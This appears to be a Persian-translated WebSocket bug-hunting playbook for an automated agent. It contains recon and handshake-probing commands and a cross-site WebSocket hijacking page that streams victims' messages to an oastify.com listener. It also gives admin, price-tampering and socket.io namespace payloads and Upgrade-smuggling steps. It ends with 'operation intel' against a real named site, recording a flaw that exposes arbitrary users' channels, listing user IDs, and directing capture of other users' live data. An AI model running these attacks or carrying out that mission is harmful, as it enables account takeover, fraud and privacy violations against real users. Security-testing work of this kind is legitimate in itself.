hunt-websocket

skillupstreamکلاس آسیب‌پذیریگزارش: ۱۱۲۲ کیلوبایت۱۴ بخش

شکار آسیب‌پذیری‌های WebSocket — ربودن متقاطع-سایت WebSocket ‏(CSWSH)، اعتبارسنجی Origin غایب/ضعیف روی handshake مربوط به WS، نبود احراز هویت به‌ازای-هر-پیام، دستکاری پیام، دورزدن authorization مربوط به namespace/room در socket.io و قاچاق Upgrade در لایه‌ی handshake.

توضیح انگلیسی اصلی (مرجع)

Hunt WebSocket vulnerabilities — Cross-Site WebSocket Hijacking (CSWSH), missing/weak Origin validation on the WS handshake, no per-message authentication, message tampering, socket.io namespace/room authorization bypass, and handshake-layer Upgrade smuggling. Use when target has WebSocket endpoints (ws:// or wss://), socket.io / SignalR / Phoenix Channels, real-time features, chat, live dashboards, notifications, or trading platforms.

نقشه‌ی ساختار اسکیل

hunt-websocketکلاس آسیب‌پذیری · ۱۴ بخش۱نمای کلی و کاربرد۲اهداف ارزشمند۳نمونه‌هایواقعی و impact۴بخش تکمیلی۵بخش تکمیلی۶بخش تکمیلی۷بخش تکمیلی۸تکنیک‌های Bypass۹بخش تکمیلی۱۰بخش تکمیلی۱۱ابزار و نکاتعملیاتی۱۲زنجیره‌هاو ترکیب‌ها۱۳دروازه‌ی اعتبارسنجی۱۴اطلاعات عملیاتی
نمای کلی و کاربرد · ۸اهداف ارزشمند · ۲تکنیک‌های Bypass · ۲زنجیره‌ها و ترکیب‌ها · ۱دروازه‌ی اعتبارسنجی · ۱

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

نمای کلی و کاربرد

Introduction
ترجمه‌ی کامل ✓بخش ۱ از ۱۴

توضیح کلی، دامنه‌ی پوشش و زمان به‌کارگیری اسکیل

‏اسکیل شکار امنیت WebSocket.

۲

اهداف ارزشمند

Crown Jewel Targets
ترجمه‌ی کامل ✓بخش ۲ از ۱۴

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

‏CSWSH ‏(Cross-Site WebSocket Hijacking) با handshake احرازشده-با-کوکی و بدون توکن CSRF/به‌ازای-اتصال = High–Critical ‏(استخراج real-time داده‌ی هر قربانی لاگین‌شده).

‏زنجیره‌های باارزش‌ترین:

  • ‏‏CSWSH ← استخراج داده / ATO — handshake از طریق کوکی ambient احراز می‌کند، توکن CSRF نیست، Origin enforce نمی‌شود ← صفحه‌ی مهاجم WS را به‌عنوان قربانی باز می‌کند و پیام‌ها/PII/توکن‌هایش را استریم می‌کند. اگر استریم توکن session/refresh/CSRF حمل کند، به ATO تشدید می‌شود.
  • ‏بدون auth به‌ازای-هر-پیام — auth مربوط به HTTP/handshake هست ولی فریم‌های WS انفرادی دوباره authorize نمی‌شوند ← پیام‌های باامتیاز پذیرفته می‌شوند (deleteUser، getSecretConfig).
  • ‏دستکاری پیام — فریم‌های درحال-انتقال (قیمت، qty، userId، مبلغ) را در اپ‌های trading/game/checkout تغییر بده ← کلاهبرداری مالی.
  • ‏دورزدن authz مربوط به namespace / room در socket.io — به namespace باامتیاز متصل شو یا بدون چک مجوز به room کاربر دیگری join کن ← استخراج real-time متقاطع-tenant.
  • ‏قاچاق Upgrade در لایه‌ی handshake — handshake مربوط به Upgrade/Connection/Sec-WebSocket-* مخدوش باعث اختلاف proxy جلو و origin درباره‌ی رخ‌دادن upgrade می‌شود ← تونل request-smuggling.
۳

نمونه‌های واقعی و impact

Grounding — Reference Cases (read before hunting)
ترجمه‌ی کامل ✓بخش ۳ از ۱۴

سناریوها و گزارش‌های افشاشده که الگوی باگ و اثر واقعی را نشان می‌دهند

‏این‌ها مراجع عمومی و قابل‌verify هستند. برای کالیبره‌کردن اینکه یافته‌ی واقعی WS چه شکلی است و چطور اثبات شده استفاده‌شان کن. IDهای گزارش یا مبالغ پرداختی اضافی جعل نکن.

#منبع / IDکلاسدرس
۱PortSwigger Web Security Academy — «Cross-site WebSocket hijacking» ‏(پژوهش + لب‌ها)CSWSHمدل canonical مربوط به CSWSH: handshake کوکی-auth + بدون توکن CSRF + چک Origin غایب ← مهاجم به‌عنوان قربانی می‌خواند/می‌فرستد. متدولوژی معتبر.
۲Christian Schneider — «Cross-Site WebSocket Hijacking ‏(CSWSH)» ‏(افشا/نوشته‌ی اصلی، ۲۰۱۳)CSWSHاولین تکنیک عمومی CSWSH: handshake کوکی-auth + عدم enforce مربوط به Origin؛ PoC باید دریافت داده‌ی قربانی در مرورگر مهاجم را اثبات کند، نه فقط ۱۰۱.
۳Coda CSWSH ‏(ارجاع‌شده در مجموعه‌ی hunt-csrf این repo)CSWSHاپ‌های همکاری real-time معمولاً سوکت را صرفاً با کوکی احراز می‌کنند؛ allow-listing مربوط به Origin کنترل غایب بود.
۴CVE-2020-7662 — ReDoS مربوط به websocket-extensions ‏(Node)DoSهدر Sec-WebSocket-Extensions دستکاری‌شده backtracking فاجعه‌بار را trigger می‌کند — هدر handshake سطح حمله است، نه فقط فریم‌ها.
۵CVE-2024-37890 — DoS مربوط به ws ‏(Node)DoSهدرهای زیاد درخواست handshake سرور را خسته می‌کند؛ تأیید می‌کند خود handshake قبل از فریم‌ها parser-attackable است.
۶پشته‌های قدیمی socket.io / Engine.IOsocket.ioاستپ version-fingerprint مربوط به فاز ۷ را توجیه می‌کند — نسخه را اثراث انگشت کن، بعد advisoryهای شناخته‌شده‌ی آن release را چک کن.
‏فقط چهار CVE بالا با ID دقیق ادعا می‌شوند چون قابل‌verify هستند. برای هر کیسی که از شناسه‌ی دقیق مطمئن نیستی، تکنیک را بدون استناد توصیف کن — CVE اشتباه بدتر از نبودنش است.
اسکیل‌های مرتبط:
۴

بخش تکمیلی

Phase 1 — Discover WebSocket Endpoints
ترجمه‌ی کامل ✓بخش ۴ از ۱۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏کشف endpointهای WebSocket — URLهای wss:// در JS، و grep handshakeها:

# Grep JS for WS connections (handshake URLs, socket.io clients)
grep -rE "new WebSocket|io\(|io\.connect|socket\.io|new SockJS|signalr|Phoenix\.Socket|wss?://" \
  recon/$TARGET/ --include="*.js" 2>/dev/null | \
  grep -oE "(wss?://[^'\"]+|/[a-zA-Z0-9/_.-]*socket[^'\"]*|/signalr[^'\"]*|/cable\b)" | sort -u

# Crawl URLs for realtime hints
grep -iE "socket|/ws\b|websocket|stream|realtime|live|chat|events|/cable|/signalr|notifications" \
  recon/$TARGET/urls.txt | sort -u

# Probe handshake (101 = upgrade supported)
curl -sI -o /dev/null -w "%{http_code}\n" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: $(head -c16 /dev/urandom | base64)" \
  "https://$TARGET/ws"

# socket.io polling handshake leaks version + sid
curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo

# Non-standard WS ports
nmap -sV -p 80,443,3000,3001,8080,8443,8888,9000 $TARGET 2>/dev/null | grep open

‏در Burp Pro، بعد از browse کردن اپ از get_proxy_websocket_history ‏(و تب WebSockets) استفاده کن تا سوکت‌های زنده، schemaهای پیام و اینکه کدام فریم‌ها داده‌ی حساس-auth حمل می‌کنند enumerate شود.

۵

بخش تکمیلی

Phase 2 — CSWSH (Cross-Site WebSocket Hijacking)
ترجمه‌ی کامل ✓بخش ۵ از ۱۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏CSWSH به سه شرط هم‌زمان نیاز دارد: ‏(الف) handshake از طریق credential ambient احراز می‌کند (کوکی خودکار فرستاده‌شده)، ‏(ب) توکن غیرقابل‌پیش‌بینی به‌ازای-اتصال در handshake نیست (نه توکن CSRF / نه توکن در URL/بدنه)، و ‏(ج) سرور Origin را enforce نمی‌کند. نبود هرکدام حمله را می‌شکند.

# Step 1 — Confirm handshake auth model in DevTools → Network → WS → Headers.
#   Look for: Cookie: session=...  AND  the ABSENCE of any per-request token
#   (no ?token=, no Sec-WebSocket-Protocol carrying a bearer, no body nonce).
#   If a unique token rides the handshake, CSWSH is NOT exploitable cross-site.

# Step 2 — Probe Origin enforcement (this is a SIGNAL, not a confirmation)
wscat -c "wss://$TARGET/ws" \
  --header "Origin: https://evil.com" \
  --header "Cookie: session=YOUR_SESSION"
# A 101 from a foreign Origin only proves the handshake opened.
# It does NOT confirm CSWSH — the server may still validate Origin at the
# message layer, refuse to stream authenticated data, or require a token
# in the first app-level frame. Treat 101 as "candidate", move to Step 3.
<!-- Step 3 — Real PoC: host on attacker origin, open while a SEPARATE victim
     account is logged into TARGET in the same browser. The bug is only
     confirmed if attacker JS RECEIVES the victim's data (or successfully
     sends a privileged frame). Cross-origin JS cannot set Origin/Cookie —
     the browser does, which is exactly the threat model. -->
<html><body><pre id="out"></pre><script>
var marker = "CSWSH-" + Math.random().toString(36).slice(2);   // unique per run
var ws = new WebSocket("wss://TARGET/ws");                     // attacker cannot forge Origin
ws.onopen = () => {
  log("[+] 101 opened from attacker origin");
  ws.send(JSON.stringify({type:"subscribe", channel:"user_notifications", _m:marker}));
};
ws.onmessage = e => {
  log("VICTIM-DATA: " + e.data);
  // Exfil PROOF to your Collaborator/listener so receipt is logged out-of-band:
  // navigator.sendBeacon("https://<collab-id>.oastify.com/cswsh?d=" + encodeURIComponent(e.data));
};
ws.onerror = e => log("ERR (likely Origin/auth rejected at message layer)");
function log(s){document.getElementById("out").textContent += s + "\n";}
</script></body></html>

‏کشنده‌های false-positive:

  • ‏یک 101 تکمیل‌شده از Origin: evil.com یافته نیست. خیلی سرورها upgrade را قبول می‌کنند بعد هیچی نمی‌فرستند، یا روی اولین فریم authenticated می‌بندند.
  • ‏verify کن داده‌ی دریافتی متعلق به اکانت متفاوتی از مهاجم است، با مارکر یکتا / PII متمایز قربانی که در اکانت B کاشتی.
  • ‏payload دریافتی را به Burp Collaborator / لیسنر OAST استخراج کن تا دریافتش out-of-band ثبت شود — این اثبات impact تو برای گزارش است.
  • ‏اگر توکن به‌ازای-اتصال در handshake سوار باشد (در URL، sub-protocol یا فریم اول)، CSWSH متقاطع-سایت قابل‌اکسپلویت نیست؛ تنزل بده یا رها کن.
۶

بخش تکمیلی

Phase 3 — Missing / Weak Authentication on WS Messages
ترجمه‌ی کامل ✓بخش ۶ از ۱۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏auth مربوط به handshake ≠ auth به‌ازای-هر-پیام. اپ‌ها اغلب سوکت را یک‌بار احراز می‌کنند بعد به هر فریم بعدی اعتماد می‌کنند.

# No cookie at all — does the server process app frames?
wscat -c "wss://$TARGET/ws"
# > {"type":"getUserData","userId":1}
# > {"type":"getAdminPanel"}

# Low-priv session sending high-priv actions
wscat -c "wss://$TARGET/ws" --header "Cookie: session=LOW_PRIV_SESSION"
# > {"action":"deleteUser","userId":999}
# > {"action":"getSecretConfig"}

‏اعتبارسنجی: اکشن باامتیاز باید اثر واقعی بگذارد (کاربر تست حذف‌شده، کانفیگ secret برگشته، تغییر state قابل‌مشاهده از کانال دوم) — فریمی که پذیرفته و بی‌صدا نادیده گرفته شود یافته نیست. به‌عنوان کلاینت ناشناس دوباره اجرا کن تا تأیید شود اکشن صرفاً بی‌ضرر به همه پخش نمی‌شود.

Replay پیام‌های امضاشده

‏اگر پیام‌ها امضا دارند (مثلاً {"type":"payment","amount":100,"signature":"..."})، replay را برای freshness و binding مربوط به session تست کن. پیام امضاشده را capture کن و تست کن: ‏(الف) دورزدن پنجره‌ی زمانی: پیام را بعد از timestamp انقضایش replay کن (skew ساعت/شکاف اعتبارسنجی)، ‏(ب) دورزدن session: پیام امضاشده از session کاربر A را capture و در session کاربر B replay کن — اگر پذیرفته شد، امضا به user/session ID bound نبوده. از Burp Repeater برای ذخیره و replay فریم‌های امضاشده استفاده کن، یا همان پیام را در wscat بعد از گذر پنجره‌ی زمانی بازسازی کن.

سوءاستفاده‌ی Business Logic: دورزدن state machine و فرار از rate limit

‏پروتکل‌های stateful (مثلاً پلتفرم trading که connect ← authenticate ← verify_balance ← place_order انتظار دارد) ممکن است پیام‌ها را خارج از نوبت قبول کنند یا پیش‌نیازها را رد کنند. تست کن: ‏(الف) ردکردن state: connect کن و بلافاصله place_order را بدون authenticate یا verify_balance اول بفرست — خیلی پشته‌ها ترتیب سخت را enforce نمی‌کنند اگر اعتبارسنجی پیام انفرادی غایب باشد، ‏(ب) اسپم فرکانس-بالا: پیام‌های یکسان یا حجیم را با سرعت بفرست تا rate limitهای لایه‌ی WS را دور بزنی (متفاوت از rate limitهای HTTP) — صدها پیام/ثانیه را تست کن تا ببینی سرور throttle می‌کند، ۴۲۹ برمی‌گرداند یا اتصال را می‌بندد. اگر همه را قبول و پردازش کند، می‌تواند business logic را سوءاستفاده کند (مثلاً خیلی پرداخت‌های کوچک برای دورزدن سقف مبلغ، یا subscriptionهای سریع برای خالی‌کردن منابع).

۷

بخش تکمیلی

Phase 4 — Message Tampering (Financial / Game / Checkout)
ترجمه‌ی کامل ✓بخش ۷ از ۱۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏دستکاری پیام در اپ‌های مالی/بازی/checkout — تغییر فیلدهای قیمت/مبلغ/شناسه:

# Intercept + edit in Burp (Proxy → WebSockets history → right-click → Send to
# Repeater, or edit-and-forward). Try server-trusted client values:
#   {"price":100}      -> {"price":0.01}
#   {"amount":1}       -> {"amount":9999}
#   {"userId":123}     -> {"userId":1}        # impersonate admin
#   {"orderTotal":...} -> recompute downstream?

# wscat replay of a tampered frame
wscat -c "wss://$TARGET/trade" --header "Cookie: session=SESSION"
# > {"action":"buy","amount":1,"price":0.01}

‏اعتبارسنجی: مقدار دستکاری‌شده باید سمت‌سرور persist شود — از طریق REST/order API یا سوکت تازه تأیید کن که سفارش/موجودی/قیمت واقعاً دستکاری را بازتاب می‌دهد. خیلی UIها فریم خودت را خوش‌بینانه echo می‌کنند؛ آن echo اثبات نیست. اثر مالی/ state را دمو کن، ترجیحاً روی instrument سندباکس/تست.

۸

تکنیک‌های Bypass

Phase 5 — socket.io / SignalR / Phoenix Namespace & Room Authz Bypass
ترجمه‌ی کامل ✓بخش ۸ از ۱۴

نگاشت دفاع ← دورزدن و payloadهای جایگزین برای کنترل‌های شناخته‌شده

‏Engine.IO/socket.io پروتکلی لایه‌گذاری‌شده روی WebSocket خام است. prefixهای packet ‏(Engine.IO 4=MESSAGE که socket.io 0=CONNECT، 1=DISCONNECT، 2=EVENT را wrap می‌کند) intent مربوط به namespace/room را حمل می‌کنند. Authorization باید هنگام join چک شود؛ اغلب چک نمی‌شود.

# 1) Open the raw socket.io WebSocket (Engine.IO v4)
wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket" \
  --header "Cookie: session=YOUR_SESSION"

# 2) Respond to the server's Engine.IO OPEN ('0{...}') so the connection lives,
#    then CONNECT to a namespace with a socket.io CONNECT packet.
#    CORRECT packet to join the /admin namespace:  40/admin,
#       4 = Engine.IO MESSAGE,  0 = socket.io CONNECT,  /admin, = namespace
#    (NOT a ?nsp= query param — see Phase 7. NOT 42 — 42 is MESSAGE+EVENT.)
# > 40/admin,
#    Server replies 40/admin,{"sid":"..."} on success, or 44/admin,{...} (error)
#    on rejection. A 40 success to a privileged namespace as a low/no-priv
#    user is the bug.

# 3) Once in a namespace, emit an EVENT (42) to join another user's room:
# > 42/admin,["join",{"room":"user_999_private"}]
# > 42["subscribe",{"channel":"admin_events"}]      # root namespace
#    Watch for 42 EVENT frames carrying ANOTHER user's data.

‏اعتبارسنجی: متصل‌شدن به namespace را از دریافت داده‌ی باامتیاز تفکیک کن. یافته فقط وقتی تأیید می‌شود که فریم‌های رویداد 42 حاوی داده‌ی tenant/کاربر دیگر دریافت کنی، یا emit باامتیاز اثر سمت-سرور قابل‌verify بگذارد. ack مربوط به 40/admin بدون داده‌ی بعدی ممکن است فقط namespace باز-ولی-خالی باشد.

‏متناظر SignalR: در /<hub>/negotiate مذاکره کن، بعد connect و متدهای hub را Invoke/Send کن — authorization سطح-متد را تست کن. Phoenix Channels: به topic:subtopic مقدار phx_join بده و چک کن آیا join/3 سرور topic را authorize می‌کند.
۹

بخش تکمیلی

Phase 6 — Handshake-Layer Upgrade Smuggling (NOT frame smuggling)
ترجمه‌ی کامل ✓بخش ۹ از ۱۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏مهم: وقتی WebSocket برقرار شد، payloadهایت داخل فریم‌های WS پیچیده می‌شوند و هرگز به‌عنوان HTTP دوباره parse نمی‌شوند توسط proxy. تایپ‌کردن GET /admin HTTP/1.1 در session باز wscat هیچ کاری نمی‌کند. قاچاق مرتبط-با-WebSocket در handshake زندگی می‌کند، قبل از وجود هر فریمی.

‏تکنیک واقعی: درخواست Upgrade مربوط به WebSocket بفرست که proxy جلو و origin متفاوت تفسیرش می‌کنند — مثلاً Sec-WebSocket-Version بد که باعث می‌شود origin با 426 Upgrade Required ‏(یا 400) جواب دهد درحالی‌که proxy قبلاً تصمیم گرفته اتصال «upgraded» است و parse مربوط به HTTP را متوقف می‌کند. proxy بعد بایت‌های بعدی را مستقیم به origin به‌عنوان استریم opaque تونل می‌کند و به تو اجازه می‌دهد درخواست‌های HTTP دلخواه را از کنترل‌های فرانت‌اند (WAF/authz) قاچاق کنی.

# Detection is HTTP-layer, not frame-layer. Use Burp Repeater / send_http1_request
# and toggle ONE handshake variable at a time, comparing front-vs-origin behavior:

#  A) Valid-looking upgrade but unsupported version:
#     Upgrade: websocket
#     Connection: Upgrade
#     Sec-WebSocket-Version: 777          <- origin should 426; does the proxy still tunnel?
#     Sec-WebSocket-Key: <16-byte base64>

#  B) Upgrade header present but Connection: keep-alive (mismatch)
#  C) Smuggled second request body after a "successful" 101, then send a normal
#     follow-up request on the same connection and watch for a desynced response.

‏این را با افزونه‌ی HTTP Request Smuggler مربوط به Burp Pro هدایت کن (کیس‌های تست WebSocket-upgrade دارد) نه دستی. دقیقاً مثل قاچاق کلاسیک اعتبارسنجی کن: desync را با probe زمانی/differential اثبات کن و impact واقعی نشان بده (به مسیر داخلی/ممنوع برس، پاسخ cached را مسموم کن، یا درخواست کاربر دیگری را capture کن) — تأییدشده علیه Burp Collaborator / OAST، هرگز روی یک پاسخ مبهم تکی.

۱۰

بخش تکمیلی

Phase 7 — socket.io / Engine.IO Specifics
ترجمه‌ی کامل ✓بخش ۱۰ از ۱۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏ویژگی‌های socket.io / Engine.IO — encode مربوط به packet، اثراث انگشت نسخه و endpointهای admin:

# Version + initial sid (handshake JSON after the leading Engine.IO digit)
curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo
# Old/EOL socket.io stacks have known issues — fingerprint the version, then check that release's advisories;
# fingerprint the client lib version from JS bundles too.

# Namespace selection is a PROTOCOL message, not a URL param.
#   WRONG:  wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket&nsp=/admin"
#           ^ `nsp` is NOT a recognized socket.io query param. It is silently
#             ignored and you connect to the ROOT namespace "/". You will believe
#             you tested /admin when you did not.
#   RIGHT:  open the socket, then send the CONNECT packet  40/admin,  (Phase 5).

# Forged/replayed sid against the polling transport (session fixation / hijack probe)
curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling&sid=FAKE_OR_VICTIM_SID"
#   400 "Session ID unknown" = good. A 200 that resumes another sid's stream = bug.
۱۱

ابزار و نکات عملیاتی

Tools
ترجمه‌ی کامل ✓بخش ۱۱ از ۱۴

ابزارهای کمکی، نصب، خروجی‌های مورد انتظار و یادداشت‌های اپراتور

‏ابزارهای شکار WebSocket — wscat، websocat، افزونه‌های Burp و اسکریپت‌های سفارشی:

npm install -g wscat                 # CLI WS client (raw + socket.io)
brew install websocat                # alt client; supports text/binary + autoreconnect
# Burp Suite Pro: WebSockets history (intercept/edit/replay), HTTP Request
#   Smuggler extension (handshake-upgrade smuggling), Collaborator for OAST proof.
# Burp MCP: get_proxy_websocket_history / get_proxy_websocket_history_regex to
#   enumerate frames; generate_collaborator_payload + get_collaborator_interactions
#   to prove out-of-band receipt from a CSWSH/smuggling PoC.
۱۲

زنجیره‌ها و ترکیب‌ها

Chain Table
ترجمه‌ی کامل ✓بخش ۱۲ از ۱۴

زنجیره‌های attack که این primitive را به impact بالاتر می‌رسانند

یافته‌ی WSزنجیره بهاثر
CSWSH + توکن در استریمدزدیدن توکن session/refresh/CSRF از فریم‌های قربانیATO ‏(Critical)
CSWSH تأییدشدهsubscribe به کانال‌های قربانی، استخراج به OASTسرقت داده‌ی real-time ‏(High)
بدون auth به‌ازای-هر-پیامفرستادن فریم‌های admin/باامتیازتشدید امتیاز ‏(Critical)
دستکاری پیامتغییر price/amount/userId، تأیید سمت-سرورکلاهبرداری مالی ‏(Critical)
دورزدن authz مربوط به namespace/roomjoin به room مربوط به tenant دیگر، خواندن رویدادهای 42استخراج متقاطع-tenant ‏(High)
قاچاق Upgrade مربوط به handshakeتونل HTTP از WAF/authz، OAST-تأییدشدهقاچاق ← SSRF/مسمومیت cache ‏(High–Critical)
۱۳

دروازه‌ی اعتبارسنجی

Validation (mandatory before reporting)
ترجمه‌ی کامل ✓بخش ۱۳ از ۱۴

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ✅ ‏‏CSWSH: PoC HTML با origin مهاجم، بازشده با اکانت قربانی متفاوت لاگین‌شده، باید داده‌ی آن قربانی را دریافت کند (تأییدشده با مارکر یکتای کاشته‌شده / PII متمایز) و به Collaborator/OAST استخراج کند. 101 لخت از Origin خارجی یافته نیست.
  • ✅ ‏بدون auth به‌ازای-هر-پیام: فریم باامتیاز اثر سمت-سرور قابل‌verify می‌گذارد (تغییر state تأییدشده از کانال دوم / REST API)، نه صرفاً «پذیرفته‌شدن».
  • ✅ ‏دستکاری پیام: مقدار دستکاری‌شده سمت‌سرور persist می‌شود (تأییدشده از API مربوط به سفارش/موجودی)، نه فقط echo در UI.
  • ✅ ‏دورزدن namespace/room: دریافت فریم‌های رویداد 42 با داده‌ی کاربر دیگر، نه فقط ack مربوط به namespace 40.
  • ✅ ‏قاچاق Upgrade: desync اثبات‌شده با probe زمانی/differential و impact واقعی، OAST-تأییدشده. حدس‌های تک-پاسخی نه.
  • ❌ ‏رد کن: ۱۰۱ به‌تنهایی، فریم پذیرفته-ولی-نادیده‌گرفته‌شده، پیام self-echo، namespace متصل-ولی-خالی، یا هر ادعای «تأییدشده» فاقد اثبات out-of-band/متقاطع-اکانت.

‏شدت:

  • ‏‏CSWSH با نشت توکن session/refresh ← ATO: Critical
  • ‏‏CSWSH ← سرقت داده‌ی session real-time: High
  • ‏بدون auth روی اکشن‌های WS مربوط به admin/باامتیاز: Critical
  • ‏دستکاری پیام مالی ‏(سرور-تأییدشده): Critical
  • ‏دورزدن subscription مربوط به namespace/room ‏(متقاطع-tenant): High
مراحل استخراج‌شده
  1. ۱✅ ‏‏CSWSH: PoC HTML با origin مهاجم، بازشده با اکانت قربانی *متفاوت* لاگین‌شده، باید داده‌ی آن قربانی را دریافت کند (تأییدشده با مارکر یکتای کاشته‌شده / PII متمایز) و به Collaborator/OAST استخراج کند. `101` لخت از Origin خارجی یافته نیست.
  2. ۲✅ ‏بدون auth به‌ازای-هر-پیام: فریم باامتیاز اثر سمت-سرور قابل‌verify می‌گذارد (تغییر state تأییدشده از کانال دوم / REST API)، نه صرفاً «پذیرفته‌شدن».
  3. ۳✅ ‏دستکاری پیام: مقدار دستکاری‌شده سمت‌سرور persist می‌شود (تأییدشده از API مربوط به سفارش/موجودی)، نه فقط echo در UI.
  4. ۴✅ ‏دورزدن namespace/room: دریافت فریم‌های رویداد `42` با داده‌ی کاربر دیگر، نه فقط ack مربوط به namespace `40`.
  5. ۵✅ ‏قاچاق Upgrade: desync اثبات‌شده با probe زمانی/differential و impact واقعی، OAST-تأییدشده. حدس‌های تک-پاسخی نه.
  6. ۶❌ ‏رد کن: ۱۰۱ به‌تنهایی، فریم پذیرفته-ولی-نادیده‌گرفته‌شده، پیام self-echo، namespace متصل-ولی-خالی، یا هر ادعای «تأییدشده» فاقد اثبات out-of-band/متقاطع-اکانت.
  7. ۷‏‏CSWSH با نشت توکن session/refresh ← ATO: Critical
  8. ۸‏‏CSWSH ← سرقت داده‌ی session real-time: High
  9. ۹‏بدون auth روی اکشن‌های WS مربوط به admin/باامتیاز: Critical
  10. ۱۰‏دستکاری پیام مالی ‏(سرور-تأییدشده): Critical
  11. ۱۱‏دورزدن subscription مربوط به namespace/room ‏(متقاطع-tenant): High
۱۴

اطلاعات عملیاتی

OPERATION INTEL — stripchat authenticated phase (2026-11-14, run-20261113T202659Z-3e92a7ae8d)
ترجمه‌ی کامل ✓بخش ۱۴ از ۱۴

یافته‌ها و پروب‌های تأییدشده از engagementهای واقعی — session، endpointها و رفتارهای مشاهده‌شده

‏Terrain ‏(تأییدشده):

  • ‏دو سرویس Centrifugo روی همان هویت JWT ‏(sub=290774867):
  • ‏‏wss://websocket-sp-v6.stripchat.com/connection/websocket — Centrifugo 6.7.2 OSS. دستورهای JSON خط-جدید-جداشده در یک فریم متنی کار می‌کنند (connect+subscribe+history دسته‌ای در یک --message تکی).
  • ‏‏wss://websocket-apps.stripchat.com/connection/websocket?cf_protocol_version=v2 — Centrifugo 4.1.5. پارامتر کوئری ?cf_protocol_version=v2 اجباری است — بدون آن سرور بعد از فریم اول می‌بندد (close مربوط به ۴۴ بایتی).
  • ‏توکن‌های WS تازه به‌ازای-کاربر: GET /api/front/v3/config/initial-dynamic?requestPath=/ ‏(به کوکی session نیاز دارد) ← initialDynamic.websocket.token ‏(sp) و initialDynamic.websocketApps.token ‏(apps). payload مربوط به JWT {"sub":"<uid>","info":{"isGuest":false,"userId":<uid>}}.
  • ‏‏bootstrap مربوط به guest GET /api/vr/v3/config/initial مقدار cometAuth مهمان صادر می‌کند — توکن‌های مهمان connect بسته می‌گیرند (به توکن کاربر واقعی نیاز است).

‏GAP تأییدشده ‏(BF-0a40dbdbb1a14dee9e0de3b971c09581): بعد از connect، {"subscribe":{"channel":"user<uid>"}} برای uidهای دلخواه (user1، user290774866، user44985172، user23938902) روی هر دو سرویس پذیرفته می‌شود درحالی‌که JWT مقدار sub=290774867 دارد. فرم‌های user#<uid>/model#<uid> رد شدند (۱۰۳). publish ← ۱۰۳، presence ← ۱۰۸. history روی sp کار می‌کند (فعال، در زمان تست خالی)، روی apps موجود نیست (۱۰۸). هیچ publicationای در پنجره‌های ~۶۰ ثانیه‌ای مشاهده نشد.

‏مأموریت این موج — اثبات یا رد جریان داده:

  1. ‏enumerate نام کانال: مجموعه‌ی باندل فرانت‌اند در assets.chapturist.com/assets/*.js است (مخصوصاً bootstrap.a08c1da02ccf328d.js)؛ محل‌های ساخت subscribe/channel را برای نام‌های واقعی معدن کن. نامزدهای دیده‌شده تا الان: user<uid>، guest<uid> ‏(کلیدهای localStorage — شاید کانال هم باشند)، broadcast-<modelId> ‏(رشته‌ی analytics — verify کن)، به‌علاوه‌ی prefixهای namespace ناشناخته. واریانت‌های سیستماتیک امتحان کن: model<uid>، chat<uid>، notify<uid>، room<uid>، private-<uid>، tips<uid>، status، online، models، all، global، app<id>، guest<uid> — روی هر دو سرویس؛ کدهای خطای subscribe ‏(۱۰۳ رد در برابر قبول) نشان می‌دهند کدام namespaceها وجود دارند.
  2. ‏capture داده: به کانال‌های شلوغ subscribe کن (کانال‌های user/broadcast مدل‌های زنده — idهای مدل آنلاین را از GET /api/front/v2/models?limit=N&primaryTag=girls بگیر بدون session، با session ۴۰۱ می‌دهد) و با --max-messages بالا برای کل پنجره‌ی ابزار نگه‌دار؛ هر فریم {"push":...} = نشت publication ← یافته را فوراً ثبت کن.
  3. ‏trigger رویداد-خودی: به user290774867 خودت روی apps subscribe کن، بعد اکشن authenticated کم-اثر انجام بده (تاگل favorite، تغییر تنظیمات) و برای push نگاه کن — اثبات می‌کند کانال رویدادهای زنده حمل می‌کند که subscribe متقاطع-کاربر را باگ حریم‌خصوصی واقعی می‌کند.
  4. ‏زاویه‌های تشدید: کانال‌های subscribe_token سمت‌سرور (کانال‌های private مربوط به Centrifugo معمولاً به توکن به‌ازای-کانال نیاز دارند — اینکه این‌ها ندارند = باگ)؛ کانال‌های user*+تزریق suffix امتحان کن (user290774866extra، user*، user)، ترفندهای حروف کانال، کانال‌های کنترلی $.-پیشونددار، disconnect/unsubscribe کلاینت‌های دیگر سمت-کلاینت ممکن نیست ولی رفتارهای سرور را یادداشت کن.
  5. ‏زاویه‌ی CSWSH قبلاً مستند شده: handshake مربوط به sp-v6 مقدار Origin را نادیده می‌گیرد (۱۰۱ بدون چک Origin) — اگر سایت handshake مربوط به WS را از طریق کوکی ambient روی هر مسیر احراز کند، با --header 'Origin: https://evil.example' دوباره verify کن که آیا ۱۰۱ باقی می‌ماند (session کوکی-محور است ← CSWSH به صفحه‌ی مهاجم اجازه می‌دهد استریم را به‌عنوان قربانی باز کند).

‏نکته‌های ابزار: bounty-fuzzer websocket --config targets/stripchat/target.json --run-id run-20261113T202659Z-3e92a7ae8d --url <wss-url> --message $'{"connect":{"token":"'"$TOK"'","name":"js"},"id":1}\n{"subscribe":{"channel":"X"},"id":2}' --max-messages 20 --active --full-body --header 'Origin: https://stripchat.com'. هر فراخوانی = یک اتصال تازه؛ همه‌ی دستورهای یک session را در فریم تکی --message جدا شده با newlineهای literal بگذار.

